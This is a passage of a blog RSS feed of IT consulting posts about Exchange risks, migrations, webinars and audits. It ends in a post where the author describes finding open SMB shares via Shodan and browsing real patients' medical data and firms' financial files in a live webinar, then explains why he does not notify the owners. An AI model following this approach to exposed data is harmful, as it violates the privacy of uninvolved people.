&lt;p>These auxiliary tables make life easier and provide orientation in assessing risks and working out either compensatory measures or more evaluations.&lt;/p>
&lt;p>Finally, a note on my own behalf:&lt;/p>
&lt;p>&lt;strong>I am available for exactly such digitalization projects and can provide all my expertise. I actually really enjoy this, either as a problem solver on a short term basis or as a coach, mentor or project manager on a longer term basis.&lt;/strong>&lt;/p>
&lt;p>&lt;strong>The new year 2021 is ahead. Please contact me well in advance for projects in the pipeline, in order to be able to start at full speed this January.&lt;/strong>&lt;/p>
&lt;p>Best Regards&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.bertelsmann-stiftung.de/fileadmin/files/user_upload/Erfolgskriterien_betrieblicher_Digitalisierung.pdf">https://www.bertelsmann-stiftung.de/fileadmin/files/user_upload/Erfolgskriterien_betrieblicher_Digitalisierung.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&amp;#160;&lt;a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&amp;#160;&lt;a href="#fnref2:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&amp;#160;&lt;a href="#fnref3:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>Page 38, Study &amp;ldquo;Erfolgskriterien betrieblicher Digitalisierung&amp;rdquo; in &lt;sup id="fnref1:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Scrum_(software_development)#Product_owner">https://en.wikipedia.org/wiki/Scrum_(software_development)#Product_owner&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>Page 30ff, Study &amp;ldquo;Erfolgskriterien betrieblicher Digitalisierung&amp;rdquo; in &lt;sup id="fnref2:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Building_Information_Modeling">https://de.wikipedia.org/wiki/Building_Information_Modeling&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>Page 31, Study &amp;ldquo;Erfolgskriterien betrieblicher Digitalisierung&amp;rdquo; in &lt;sup id="fnref3:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Agilit%C3%A4t_(Management)">https://de.wikipedia.org/wiki/Agilit%C3%A4t_(Management)&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Client-Server-Modell">https://de.wikipedia.org/wiki/Client-Server-Modell&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://git-scm.com/">https://git-scm.com/&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/gitea-statt-github/">https://blog.jakobs.systems/blog/gitea-statt-github/&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://gitea.io/">https://gitea.io/&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Markdown">https://de.wikipedia.org/wiki/Markdown&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/gitea-uml-mermaid/">https://blog.jakobs.systems/blog/gitea-uml-mermaid/&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://nextcloud.com">https://nextcloud.com&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://mattermost.com/">https://mattermost.com/&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://golem.de/news/blabla-1906-141628.html">https://golem.de/news/blabla-1906-141628.html&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://heise.de/security/meldung/blabla-4695000.html">https://heise.de/security/meldung/blabla-4695000.html&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>&lt;a href="https://www.datenschutz-berlin.de/fileadmin/user_upload/pdf/orientierungshilfen/2020-BlnBDI-Hinweise_Berliner_Verantwortliche_zu_Anbietern_Videokonferenz-Dienste.pdf">https://www.datenschutz-berlin.de/fileadmin/user_upload/pdf/orientierungshilfen/2020-BlnBDI-Hinweise_Berliner_Verantwortliche_zu_Anbietern_Videokonferenz-Dienste.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>&lt;a href="http://blog.jakobs.systems/blog/20200905-privacy-shield-discord/">http://blog.jakobs.systems/blog/20200905-privacy-shield-discord/&lt;/a>&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>🚫 &lt;a href="https://www.bundesfinanzministerium.de/Content/DE/Downloads/BMF_Schreiben/Weitere_Steuerthemen/Abgabenordnung/2019-11-28-GoBD.html">https://www.bundesfinanzministerium.de/Content/DE/Downloads/BMF_Schreiben/Weitere_Steuerthemen/Abgabenordnung/2019-11-28-GoBD.html&lt;/a>&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:21">
&lt;p>&lt;a href="https://golem.de/news/blabla-2008-150457.html">https://golem.de/news/blabla-2008-150457.html&lt;/a>&amp;#160;&lt;a href="#fnref:21" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:22">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Vendor_lock-in">https://en.wikipedia.org/wiki/Vendor_lock-in&lt;/a>&amp;#160;&lt;a href="#fnref:22" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:23">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Nudge">https://de.wikipedia.org/wiki/Nudge&lt;/a>&amp;#160;&lt;a href="#fnref:23" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:24">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Asymmetrische_Information">https://de.wikipedia.org/wiki/Asymmetrische_Information&lt;/a>&amp;#160;&lt;a href="#fnref:24" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:25">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/George_A._Akerlof">https://de.wikipedia.org/wiki/George_A._Akerlof&lt;/a>&amp;#160;&lt;a href="#fnref:25" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Security, Risks, Liability and Audits</title><link>https://blog.jakobs.systems/en/micro/20201013-audit-security-liability/</link><pubDate>Tue, 13 Oct 2020 13:01:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201013-audit-security-liability/</guid><description>or how to falsify so-called powerquotes</description><category>Quote</category><category>Humour</category><category>Audit</category><category>Security</category><category>Management</category><content>&lt;p>I need to admit: I really love writing audits. It has a certain degree of scientific working to falsify statements. So I was recently confronted with the following quote from a responsible IT manager:&lt;/p>
&lt;blockquote>
&lt;p>We are not concerned with security, but with liability. If Microsoft promises security, this is enough for us.&lt;/p>
&lt;/blockquote>
&lt;p>Well, unfortunately I did not attend a judicial exam but when I read the Microsoft EULA&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> regarding risks and liability, I consider the circumstances slightly more differentiated:&lt;/p>
&lt;blockquote>
&lt;p>DISCLAIMER OF WARRANTY. THE SOFTWARE IS LICENSED “AS IS.” YOU BEAR THE RISK OF USING IT. MICROSOFT GIVES NO EXPRESS WARRANTIES, GUARANTEES, OR CONDITIONS.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>This limitation applies to (a) anything related to the software, services, content (including code) on third party Internet sites, or third party applications; and (b) claims for breach of contract, warranty, guarantee, or condition; strict liability, negligence, or other tort; or any other claim; in each case to the extent permitted by applicable law.&lt;/p>
&lt;/blockquote>
&lt;p>However, good luck!&lt;/p>
&lt;p>P.S. Do you intend to introduce new software or to change your IT landscape?&lt;br>
As an independent and competent third party I am available for any type of IT audits.&lt;/p>
&lt;p>Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://docs.microsoft.com/en-us/legal/windows-server/system-insights-eula">https://docs.microsoft.com/en-us/legal/windows-server/system-insights-eula&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Webinar: Security of Conferencing Software</title><link>https://blog.jakobs.systems/en/micro/20201012-webinar-videoconferencing/</link><pubDate>Mon, 12 Oct 2020 08:25:10 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201012-webinar-videoconferencing/</guid><description/><category>Webinar</category><category>DiginetSWF</category><category>Security</category><category>Conferencing Software</category><content>&lt;p>Within a &amp;quot; digital breakfast &amp;quot; I will give a presentation for the DigiNet Südwestfalen at&lt;/p>
&lt;blockquote>
&lt;p>November, 3rd 2020, 08:30 am at my own Conferencing-Server&lt;br>
Topic: &amp;ldquo;Security of Conferencing Software&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;p>giving Stakeholders and Decision-Makers Orientation for risk-assesment. This is a non-public event, please register via &lt;a href="https://transferverbund-sw.de/events/digitales-fruehstueck-des-diginet_swf/">Sonja Pfaff on the DiginetSWF Website&lt;/a>.&lt;/p>
&lt;h4 id="about-diginet-südwestfalen">About DigiNet Südwestfalen:&lt;/h4>
&lt;p>In early 2019, the &lt;a href="https://transferverbund-sw.de/">Transferverbund Südwestfalen&lt;/a> started to track down service providers and networks active in the field of digitalization in South Westphalia as part of the NRW.Innovationspartner funding project and to connect them into an open network. The aim is to get to know each other, but also to increase visibility in the region so that companies can find the right solution partner more quickly or young talents can find their suitable employer.&lt;/p>
&lt;h4 id="about-tomas-jakobs">About Tomas Jakobs:&lt;/h4>
&lt;p>Born in 1975 in Plana, Czech Republic he grew up in the Siegerland and studied at the University of Siegen. During his course of studies in 1998 he started his self-employment with individual software development and consulting. Until 2004 he was active with a lectureship at the bbz professional training centre of the Chambers of Industry and Commerce Siegen and the TÜV Academy Rhineland. As specialist in digital called when standard solutions and concepts fail. Profound project experience for more than two decades with references ranging from the German Second Television to well-known corporations and medium-sized companies to small shops and GP’s offices. In his work, he has migrated companies from closed, proprietary to open and free technologies, helping them to boost competitiveness while reducing IT spending.&lt;/p></content></item><item><title>BSI warns about Exchange</title><link>https://blog.jakobs.systems/en/micro/20201008-bsi-warnung-exchange/</link><pubDate>Thu, 08 Oct 2020 10:02:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201008-bsi-warnung-exchange/</guid><description>BASI warns in the public</description><category>Exchange</category><category>Microsoft</category><category>Mailserver</category><category>Migration</category><content>&lt;h3 id="40000-companies-in-germany-affected">40.000 Companies in Germany affected&lt;/h3>
&lt;p>The BSI (German Federal Authority for Informationsecurity) warns with the second highest level &amp;ldquo;orange&amp;rdquo; (= the IT threat situation is mission critical. massive disruption of regular operations) in the public media&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>. Around 40,000 companies in Germany alone are affected by several critical vulnerabilities because security updates have not yet been installed&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>. In fact, Heise speaks of playing Russian roulette&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>It&amp;rsquo;s not without reason that I have been warning for several years now about interlocking internal AD and internet functions like Microsoft does deliberatly. Unfortunately many hang their Exchange server directly &amp;ldquo;in the Internet&amp;rdquo; including OWA and EAS without any firewalls, mail gateways or reverse proxies. The normal case is totally negligent: Via port forwarding!&lt;/p>
&lt;p>My personal point of view:&lt;/p>
&lt;blockquote>
&lt;p>If you still use the combination Exchange/Outlook, you can&amp;rsquo;t be helped.&lt;/p>
&lt;/blockquote>
&lt;p>Last month I wrote a rant about this in my microblog&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> and since then I have migrated further installations&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>. A full-fledged Exchange replacement based on Linux is up and running quickly. User accounts and data usually imported within one day. A change is possible without downtime.&lt;/p>
&lt;p>I will be glad to help you.&lt;br>
Just contact me!&lt;/p>
&lt;p>Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>🚫 &lt;a href="https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2020/CSW-MS-Exchange-Server_061020.html">https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2020/CSW-MS-Exchange-Server_061020.html&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>🚫 &lt;a href="https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Cybersicherheitswarnungen/2020/2020-252437-1021.pdf?__blob=publicationFile&amp;v=3">https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Cybersicherheitswarnungen/2020/2020-252437-1021.pdf?__blob=publicationFile&amp;v=3&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://www.heise.de/news/Exchange-Luecke-Fast-40-000-deutsche-Unternehmen-spielen-Russisch-Roulette-4921792.html">https://www.heise.de/news/Exchange-Luecke-Fast-40-000-deutsche-Unternehmen-spielen-Russisch-Roulette-4921792.html&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20200914-exchange-ersatz/">https://blog.jakobs.systems/micro/20200914-exchange-ersatz/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20201007-exchange-linux-migration/">https://blog.jakobs.systems/micro/20201007-exchange-linux-migration/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Quote of the Day</title><link>https://blog.jakobs.systems/en/micro/20201008-quote-of-the-day/</link><pubDate>Thu, 08 Oct 2020 08:10:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201008-quote-of-the-day/</guid><description>Quote to Public Health Data Desaster</description><category>Excel</category><category>Microsoft</category><category>Zitat</category><content>&lt;p>Over the recent days, information leaked out how the UK authorities cope with their reported Corona figures. Due to a &amp;ldquo;technical problem&amp;rdquo;, about 16,000 Infected including 50,000 contact persons have somehow &amp;ldquo;got lost&amp;rdquo;&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>. Well actually, they are using a bunch of Microsoft Excel files. Unfortunately, a spreadsheet stops working at 1,048,576 lines.&lt;/p>
&lt;p>Yesterday evening I listened to &amp;ldquo;The Bunker&amp;rdquo; podcast&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> with the beautiful title &amp;ldquo;Orange Hawk Down - plus Dirty Data Returns&amp;rdquo; and was given the best quote so far:&lt;/p>
&lt;blockquote>
&lt;p>The idea of using Excel for that kind of data crunching is like trying to make Toy Story 5 using Powerpoint.&lt;/p>
&lt;/blockquote>
&lt;p>Thank you Alex Andreou&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> for this best quote so far.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.theguardian.com/politics/2020/oct/05/how-excel-may-have-caused-loss-of-16000-covid-tests-in-england">https://www.theguardian.com/politics/2020/oct/05/how-excel-may-have-caused-loss-of-16000-covid-tests-in-england&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://play.acast.com/s/the-bunker/orangehawkdown-plusdirtydatareturns">https://play.acast.com/s/the-bunker/orangehawkdown-plusdirtydatareturns&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://www.theguardian.com/profile/alex-andreou">https://www.theguardian.com/profile/alex-andreou&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Xojo User Meeting 09.10.2020, 1800 LT</title><link>https://blog.jakobs.systems/en/micro/20201007-xojo-user-treffen/</link><pubDate>Wed, 07 Oct 2020 16:20:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201007-xojo-user-treffen/</guid><description/><category>Webinar</category><category>XOJO</category><category>Meeting</category><content>&lt;p>A new XOJO User Meeting (in german) is scheduled for this October, 9th 2020 at 1800 LT.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Topics&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Made with XOJO project reviews&lt;/li>
&lt;li>New XOJO 2020 1.2 update&lt;/li>
&lt;/ul>
&lt;/blockquote>
&lt;p>Duration: 45 Min.&lt;br>
Followed by smalltalk/ hangout with open end, Chatham House Rule applies.&lt;/p>
&lt;p>Link to Conference-room: &lt;a href="https://meet.jakobs.systems/b/tom-kks-v5k-xka">https://meet.jakobs.systems/b/tom-kks-v5k-xka&lt;/a>&lt;br>
Password: 245066&lt;/p>
&lt;p>Everybody is welcome.&lt;/p>
&lt;p>See you!&lt;/p></content></item><item><title>Another Exchange Migration to Linux</title><link>https://blog.jakobs.systems/en/micro/20201007-exchange-linux-migration/</link><pubDate>Wed, 07 Oct 2020 10:00:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201007-exchange-linux-migration/</guid><description>Exchange-Server migrated to Linux-Mailserver</description><category>Exchange</category><category>Microsoft</category><category>Mailserver</category><category>Migration</category><content>&lt;p>One more SME customer (approx. 250 users spread over several nationwide locations) is migrating away from Exchange to free and Open Source solution. With the ready-to-use installation of a new Linux mail server I have provided my very modest contribution. The rest of the user and the data transfer will be done by the customer&amp;rsquo;s own IT department.&lt;/p>
&lt;p>Users can continue to work in their familiar Outlook and mobile client environment when the new EAS accounts are rolled out &amp;ldquo;side-by-side&amp;rdquo; to the existing onces. From one second to another, the switch can be carried out without hassle or downtime just by reconfiguring the reverse proxy and the mail gateway. Time-consuming, cost-intensive and above all &amp;ldquo;hard&amp;rdquo; migration paths are no longer necessary.&lt;/p>
&lt;p>However, the best thing is: No more Exchange black box, no vendor lock-in&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> and no subscription traps, as Microsoft announced recently&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Anyone who doesn&amp;rsquo;t want to become digitally dependent should opt for free solutions. I would be happy to assist you with your migration.&lt;/p>
&lt;p>Just get in touch!&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Vendor_lock-in">https://en.wikipedia.org/wiki/Vendor_lock-in&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://www.golem.de/news/microsoft-es-wird-einen-nachfolger-von-office-2019-geben-2009-151057.html">https://www.golem.de/news/microsoft-es-wird-einen-nachfolger-von-office-2019-geben-2009-151057.html&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Hacking - where are the limits?</title><link>https://blog.jakobs.systems/en/blog/20201005-hacking/</link><pubDate>Mon, 05 Oct 2020 20:00:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20201005-hacking/</guid><description>Recap to my webinar: Risk management and Information Security</description><category>Security</category><category>Risks</category><category>Hacking</category><content>&lt;p>In the previous &lt;a href="https://blog.jakobs.systems/en/micro/20200925-it-risikoermittlung-sicherheit/">webinar on IT risk assessment and information security&lt;/a>, participants questioned me during the 15-minute live hacking session: Is this not illegal?&lt;/p>
&lt;p>We took a closer peek at the servers of an ambulant care unit and two other businesses. I found them by chance from a total of 28 million hosts&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> across Germany using specific search terms. The search lasted just a few seconds and after that we browsed through the numerous directories with patient data and medical prescriptions.&lt;/p>
&lt;p>In the second example, we had the accounting data of a company in the form of data backups of the last 5 years straight in front of us. In addition, we were able to see private .PFX certificates for the Elster software and also recent invoices with the recipient&amp;rsquo;s company names in the filenames. And in between we saw the written correspondence with the employees of the company. With best regards to the GDPR!
Let&amp;rsquo;s take a look to the so-called hacking-paragraph&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> &amp;ldquo;Spying out data&amp;rdquo; in detail:&lt;/p>
&lt;blockquote>
&lt;p>Anyone who gains unauthorised access to data which is not intended for him or herself or to another person and which is specially protected against unauthorised access, while overcoming the access protection, will be sentenced to up to three years of imprisonment or a fine.&lt;/p>
&lt;/blockquote>
&lt;p>Well from a formal point of view, I have not even been close to hacking. The servers have been freely accessible to everyone without any authentication. In the analogue world we stood in the opened front door and took a peek inside the house, carefully keeping our feets outside.&lt;/p>
&lt;p>Interestingly, the attempt to spy on data itself is not a criminal offence. Even an unsuccessful attempt at virtual intrusion remains without consequences, even if it is practised on a large scale. But only as long no server is affected in its function&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>.&lt;/p>
&lt;blockquote>
&lt;p>Why do you not inform the owner of the hosts?&lt;/p>
&lt;/blockquote>
&lt;p>Actually I count more than 64,000 computers in Germany having an open SMB port. More than 7,000 of them are without authentication&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>. If the owner is not detectable by servername or WHOIS-record, he remains unknown. I would have to figure him or her out from the data. But this is neither my job nor being paid. Simultaneously I would make myself liable and could be prosecuted as the messenger of the bad news. Kill the Messenger!&lt;/p>
&lt;p>Even if the owner does not do this, his service provider, who caused the disaster, will eventually do. He is the one in need of an explanation and before he loses any customer he rather blames a hacker for everything. Best served with a thick layer of snakeoil security solutions, which also generate revenue.&lt;/p>
&lt;p>Besides that, my personal experience is that it is rather a stroke of luck to meet someone on the other end of the line who understands the consequences of an open SMB port. I&amp;rsquo;d like to quote Carlo Cipolla&amp;rsquo;s 2nd essay&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>That&amp;rsquo;s why I prefer to trust in the regulative power of the Internet and use my limited time to help everybody who wants to run his or her IT really safely and would rather invest in information security management.&lt;/p>
&lt;p>&lt;strong>Disclaimer: Everything without claim of correctness or completeness. I explicitly emphasize that I am not a lawyer and that this blog is only my personal opinion and understanding of the current legal situation in Germany.&lt;/strong>&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>regarding my search in &lt;a href="https://shodan.io">https://shodan.io&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://dejure.org/gesetze/StGB/202a.html">https://dejure.org/gesetze/StGB/202a.html&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>e.g. DoS &lt;a href="https://en.wikipedia.org/wiki/Denial_of_Service">https://en.wikipedia.org/wiki/Denial_of_Service&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
